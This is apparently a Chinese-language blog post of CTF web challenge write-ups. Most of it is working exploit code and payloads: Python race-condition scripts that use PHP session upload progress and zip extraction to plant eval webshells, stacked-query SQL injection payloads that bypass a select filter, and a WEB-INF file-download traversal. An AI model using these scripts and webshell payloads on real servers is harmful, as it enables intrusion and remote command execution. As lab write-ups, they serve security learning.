赞
踩
1.看到题目代码
- <?php
- if(!isset($_GET['mode'])){
- highlight_file(__file__);
- }else if($_GET['mode'] == "eval"){
- $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
- if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
- eval($shell);
- }
-
-
- if(isset($_GET['file'])){
- if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
- include $_GET['file'];
- }
-
-
- function filter($var){
- $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];
-
- foreach($banned as $ban){
- if(strstr($var, $ban)) return True;
- }
-
- return False;
- }
-
- function checkNums($var){
- $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
- $cnt = 0;
- for($i = 0; $i < strlen($alphanum); $i++){
- for($j = 0; $j < strlen($var); $j++){
- if($var[$j] == $alphanum[$i]){
- $cnt += 1;
- if($cnt > 8) return True;
- }
- }
- }
- return False;
- }
- ?>
分析得出,可以通过file进行文件包含构成rce,但是限制了许多字符,绕过有些困难。再次分析,通过构造url得出phpinfo()界面
http://114.115.134.72:32770/?mode=eval
http://114.115.134.72:32770/?mode=eval
http://114.115.134.72:32770/?mode=eval
2.来到phpinfo界面
根据题目cleanup猜想可能是session_upload,查看phpinfo信息
看到session.upload_progress.enabled开启,说明开启session.upload_progress功能,这个功能在我们上传文件时可以把文件上传进度和信息存储在session中。
又看到session.upload_progress.cleanup开启,说明当文件上传结束后,php将会立即清空对应session文件中的内容。所以需要条件竞争。
看到session.save_path,可以看到session文件保存路径。
看到session.use_strict_mode关闭,说明用户可以自己定义自己的sessionid。假如说sessionid=zzzz,则文件上传后会在/tmp目录下生成一个sess_zzzz的文件。
想利用session文件包含getshell,但是上传 文件后文件内容会被清空。怎么办?
于是想到了pyhton的多线程,利用多线程创建竞争条件,在还没删除时进行文件包含getshell。
直接脚本:
- import io
-
- import requests
- import threading
-
- from cffi.backend_ctypes import xrange
-
- sessid = '0'
- target = 'http://1.14.71.254:28513/'
- file = 'ph0ebus.txt'
- f = io.BytesIO(b'a' * 1024 * 50)
-
-
- def write(session):
- while True:
- session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_GET["cmd"]);?>'},
- files={'file': (file, f)}, cookies={'PHPSESSID': sessid})
-
-
- def read(session):
- while True:
- resp = session.post(
- f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');")
- if file in resp.text:
- print(resp.text)
- event.clear()
- else:
- print("[+]retry")
- # print(resp.text)
-
-
- if __name__ == "__main__":
- event = threading.Event()
- with requests.session() as session:
- for i in xrange(1, 30):
- threading.Thread(target=write, args=(session,)).start()
- for i in xrange(1, 30):
- threading.Thread(target=read, args=(session,)).start()
- event.set()
NSSCTF{cb37fcd3-1cff-4965-b455-4ec5cdb329c5}
查看源代码
- <?php
- show_source(__FILE__);
- $code = $_GET['code'];
- if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
- die(' Hello');
- }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
- @eval($code);
-
- }
-
- ?>
发现想要执行rce必须绕过正则表达式
也就是无字母数字命令执行和无参构造rce
NSSCTF{bfb142cd-1d50-4c37-b63c-051f546a235b}
进来后看到登录框,第一时间想到弱口令
admin和admin888进去了
但是进去以后什么也没有
重新试试,点击help
出现这个页面,于是想到了文件下载,修改url
payload:filename=help.docx
访问失败,修改提交方式为post,下载成功
打开后
发现啥也没有
于是上网搜了下WEB-INF/web.xml泄露
了解到WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
尝试下,构造payload(post提交):filename=/WEB-INF/web.xml
成功下载文件
- <?xml version="1.0" encoding="UTF-8"?>
-
- -<web-app version="4.0" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee">
-
-
- -<welcome-file-list>
-
- <welcome-file>Index</welcome-file>
-
- </welcome-file-list>
-
-
- -<servlet>
-
- <servlet-name>IndexController</servlet-name>
-
- <servlet-class>com.wm.ctf.IndexController</servlet-class>
-
- </servlet>
-
-
- -<servlet-mapping>
-
- <servlet-name>IndexController</servlet-name>
-
- <url-pattern>/Index</url-pattern>
-
- </servlet-mapping>
-
-
- -<servlet>
-
- <servlet-name>LoginController</servlet-name>
-
- <servlet-class>com.wm.ctf.LoginController</servlet-class>
-
- </servlet>
-
-
- -<servlet-mapping>
-
- <servlet-name>LoginController</servlet-name>
-
- <url-pattern>/Login</url-pattern>
-
- </servlet-mapping>
-
-
- -<servlet>
-
- <servlet-name>DownloadController</servlet-name>
-
- <servlet-class>com.wm.ctf.DownloadController</servlet-class>
-
- </servlet>
-
-
- -<servlet-mapping>
-
- <servlet-name>DownloadController</servlet-name>
-
- <url-pattern>/Download</url-pattern>
-
- </servlet-mapping>
-
-
- -<servlet>
-
- <servlet-name>FlagController</servlet-name>
-
- <servlet-class>com.wm.ctf.FlagController</servlet-class>
-
- </servlet>
-
-
- -<servlet-mapping>
-
- <servlet-name>FlagController</servlet-name>
-
- <url-pattern>/Flag</url-pattern>
-
- </servlet-mapping>
-
- </web-app>
可以看到
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
说明这是一个Java Servlet服务端程序,后缀应为.class
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
构造payload:filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
成功下载文件
将文件进行反编译,得出一个base64编码的flag
进行base64解码后得到flag
flag{e3f6f5e5-37f2-4a28-ac68-a8ce4522412e}
拿到题目查看源码
- username/password error<html>
- <!--md5($secret.$name)===$pass -->
- </html>
看到提示
输入url
/?name=1
用burpsuite抓包 发现
响应中的hash值随着name参数的变化而变化,但又不完全是md5加密的值,这里看提示后,直接构造payload
name=&pass=fa25e54758d5d5c1927781a6ede89f8a
得到响应
- HTTP/1.1 200 OK
- Server: openresty
- Date: Fri, 17 Mar 2023 02:12:09 GMT
- Content-Type: text/html; charset=UTF-8
- Content-Length: 165
- Connection: close
- Vary: Accept-Encoding
- X-Powered-By: PHP/7.0.33
-
- <script language="javascript" type="text/javascript">
- window.location.href="flflflflag.php";
- </script>
- <html>
- <!--md5($secret.$name)===$pass -->
- </html>
载入flflflflag.php目录
发现找不到,用burp抓包后
- HTTP/1.1 200 OK
- Server: openresty
- Date: Fri, 17 Mar 2023 05:44:34 GMT
- Content-Type: text/html; charset=UTF-8
- Content-Length: 241
- Connection: close
- Vary: Accept-Encoding
- X-Powered-By: PHP/7.0.33
-
- <html>
- <head>
- <script language="javascript" type="text/javascript">
- window.location.href="404.html";
- </script>
- <title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
- </head>
- <>
- <body>
- include($_GET["file"])</body>
- </html>
发现include 猜测是伪协议文件包含
构造payload
file=php://filter/read=convert.base64-encode/resource=flflflflag.php
得到响应
- <body>
- PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=include($_GET["file"])</body>
- </html>
base64解码后,得到:
- <html>
- <head>
- <script language="javascript" type="text/javascript">
- window.location.href="404.html";
- </script>
- <title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
- </head>
- <>
- <body>
- <?php
- $file=$_GET['file'];
- if(preg_match('/data|input|zip/is',$file)){
- die('nonono');
- }
- @include($file);
- echo 'include($_GET["file"])';
- ?>
- </body>
- </html>
直接目录扫描:
-
- python dirsearch.py -u http://0893bf8a-b2ee-40c3-9931-11f870f2da53.node4.buuoj.cn:81/ -e * --timeout=2 -t 1 -x 400,403,404,500,503,429 -w db/dict_mode_dict.txt
-
扫出来一个dir.php文件
可以查看源码,输入url
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=dir.php
base64解码后得到:
- <?php
- var_dump(scandir('/tmp'));
- ?>
dir.php能打印临时文件夹里的内容,因此我们要想办法把文件存到tmp文件夹中
利用 session.upload_progress 进行 session 文件包含
编写脚本
- import io
- import sys
- import requests
- import threading
-
- host = 'http://0893bf8a-b2ee-40c3-9931-11f870f2da53.node4.buuoj.cn:81/flflflflag.php'
- sessid = 'zzzz'
-
- def POST(session):
- while True:
- f = io.BytesIO(b'a' * 1024 * 50)
- session.post(
- host,
- data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php phpinfo();fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>"},
- files={"file":('a.txt', f)},
- cookies={'PHPSESSID':sessid}
- )
-
- def READ(session):
- while True:
- response = session.get(f'{host}?file=/tmp/sess_{sessid}')
- if 'flag{' not in response.text:
- print('[+++]retry')
- else:
- print(response.text)
- sys.exit(0)
-
- with requests.session() as session:
- t1 = threading.Thread(target=POST, args=(session, ))
- t1.daemon = True
- t1.start()
- READ(session)
跑出结果
flag{fbf56767-b195-43d8-b38c-d5a958d672c6}
正常注入
发现过滤 行不通
看题目的源代码
- <html>
-
- <head>
- <meta charset="UTF-8">
- <title>easy_sql</title>
- </head>
-
- <body>
- <h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
- <!-- sqlmap是没有灵魂的 -->
- <form method="get">
- 姿势: <input type="text" name="inject" value="1">
- <input type="submit">
- </form>
-
- <pre>
- array(2) {
- [0]=>
- string(1) "1"
- [1]=>
- string(7) "hahahah"
- }
- <br></pre>
-
- </body>
-
- </html>
分析源代码:
1,使用了multi_query()函数,可以执行多条sql语句。
2,查询语句为 $sql=select *from `words` where id=$id
3,通过store_result()获取第一条sql语句查询结果,通过var_dump()输出,然后通过more_results()判断是否有更多的结果集,用next_result()方法获取下一个结果集继续输出。
由于select被禁了,可以使用handler代替select。
payload:
1';handler `1919810931114514` open as a;handler a read first;handler a close;#
payload就是使用handler打开1919810931114514表的句柄,然后读取句柄的第一行即flag的值,然后关闭
直接出结果
NSSCTF{ac89f14b-0958-4f1c-b4b3-8775ca4ae0ed}
做完后上网查了下wp 发现还有其他两种解法 值得学习
解法二:通过源代码可以知道图中查询语句是$sql=select *from `words` where id=$id;从名为words的表中查询id=$id的值并返回。
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
payload意思就是将原本words的名称改掉,然后把表1919810931114514改成words,并且把表1919810931114514的字段flag改成id,这样查询就变成了 select *from `1919810931114514` where flag=$id。就可以查询出flag
解法三:
-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare flag from @sql;EXECUTE flag;#
PREPARE - 准备执行的声明。
EXECUTE - 执行由PREPARE语句定义的语句。
DEALLOCATE PREPARE - 发布PREPARE语句。
设置一个声明查询语句select *from 表19,使用CONCAT连接select绕过select,然后EXECUTE执行声明返回结果
查看题目代码
- <?php
- highlight_file(__FILE__);
-
- function removedir($dir){
- $list= scandir($dir);
- foreach ($list as $value) {
- if(is_file($dir.'/'.$value)){
- unlink($dir.'/'.$value);
- }else if($value!="."&&$value!=".."){
- removedir($dir.'/'.$value);
- }
- }
- }
-
- function unzip($filename){
- $result = [];
- $zip = new ZipArchive();
- $zip->open($filename);
- $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename);
- if(!is_dir($dir)){
- mkdir($dir);
- }
- if($zip->extractTo($dir)){
- foreach (scandir($dir) as $value) {
- $file_ext=strrchr($value, '.');
- $file_ext=strtolower($file_ext); //转换为小写
- $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
- $file_ext=trim($file_ext); //收尾去空
- if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){
- removedir($dir);
- }
- if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){
- if(is_file($dir."/".$value)){
- unlink($dir."/".$value);
- }else{
- if($value!="."&&$value!="..")
- array_push($result,$value);
- }
-
- }
-
- }
- $zip->close();
- unlink($filename);
- return json_encode($result);
- }else{
- return false;
- }
- }
- $content= $_REQUEST['content'];
- shell_exec('rm -rf /tmp/*');
- $fpath ="/tmp/".md5($content);
- file_put_contents($fpath, base64_decode($content));
- echo unzip($fpath);
- ?>
- [] [][]
首先看这个代码的逻辑,我们的可控点是content,同时可以写入文件进去,在unzip函数中extractTo可以解压/tmp的文件到$_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename),然后经过一大堆过滤,最后就是unlink删除文件,所以我们可以进行条件竞争,在解压文件和删除文件进行竞争
将该文件压缩为1.zip
- <?php
- echo '11111';
- file_put_contents('/var/www/html/x.php','<?php eval($_POST[cmd]);?>');
- ?>
直接脚本
- import requests
- import hashlib
- import threading
- import base64
-
- url = "http://1.14.71.254:28116/"
- sess=requests.session()
- r = open("1.zip", "rb").read()
- content = base64.b64encode(r)
- data={
- 'content': content
- }
- m=hashlib.md5(content)
- md=hashlib.md5(('/tmp/'+str(m.digest().hex())).encode())
- def write(session):
- while True:
- resp=session.post(url,data=data)
- def read(session):
- while True:
- resp=session.get(url+f'static/upload/{md}/1.php')
- if resp.status_code==200:
- print("success")
- if __name__=="__main__":
- event = threading.Event()
- with requests.session() as session:
- for i in range(1, 30):
- threading.Thread(target=write, args=(session,)).start()
-
- for i in range(1, 30):
- threading.Thread(target=read, args=(session,)).start()
- event.set()
-
蚁剑连接x.php 密码是cmd 根目录得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。